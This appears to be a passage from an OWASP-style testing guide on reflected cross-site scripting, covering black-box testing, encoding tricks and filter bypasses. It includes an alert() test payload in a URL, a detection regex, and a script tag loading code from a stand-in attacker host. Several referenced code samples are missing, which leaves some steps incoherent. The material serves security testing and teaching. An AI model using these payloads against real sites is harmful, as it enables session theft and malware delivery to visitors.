Brief Summary

Reflected Cross-site Scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

Description of the Issue

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code — using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.

Black Box testing

A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's
variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the
tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser that
manifests the vulnerability. Testing data can be generated by using a web application fuzzer or manually.

3. For each vulnerability reported in the previous phase, the tester
will analyze the report and attempt to exploit it with an attack that
has a realistic impact on the web application's security.

Example 1

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.

The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:

http://example.com/index.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:

This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Countermeasures

Most web applications today use some sort of sanitization. Yet,
some remain vulnerable. Reflected cross-site scripting attacks are
prevented either at the side of the server, by sanitization or a web
application firewall, or at the side of the client by prevention
mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers, the tester
cannot count on this and must test for vulnerabilities assuming that web
browsers will not prevent the attack. ( Frei et al 2008 )

A web application or the web server (e.g., Apache's mod_rewrite module)
can parse the URL matching a regular expression as a sanitization
procedure. For example the following regular expression can be used to
detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression
does not completely fix the vulnerability. In a grey-box test, the
tester might access the source code and analyze the sanitization
procedure to decide if it can be circumvented.

Example 3

To black-box test whether there is a vulnerability or not, the tester
will use many test vectors, each circumventing different
sanitization procedures, hoping that one will work. For example, let's say
that the following code is executed:

In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src is inserted. This is useful for
filtering expressions like <script src="http://attacker.com/xss.js"></script>, which is a common attack. But,
in this case, it is possible to bypass the sanitization by using the ">"
character in an attribute between script and src, like this:

This will exploit the reflected cross site scripting vulnerability shown before,
executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, www.example.com.

Finally, analyzing answers can get complex. A simple way to do this is
to use code that pops up a dialog, as in our example. This typically indicates that an
attacker could execute arbitrary JavaScript of his choice in the
visitors' browsers.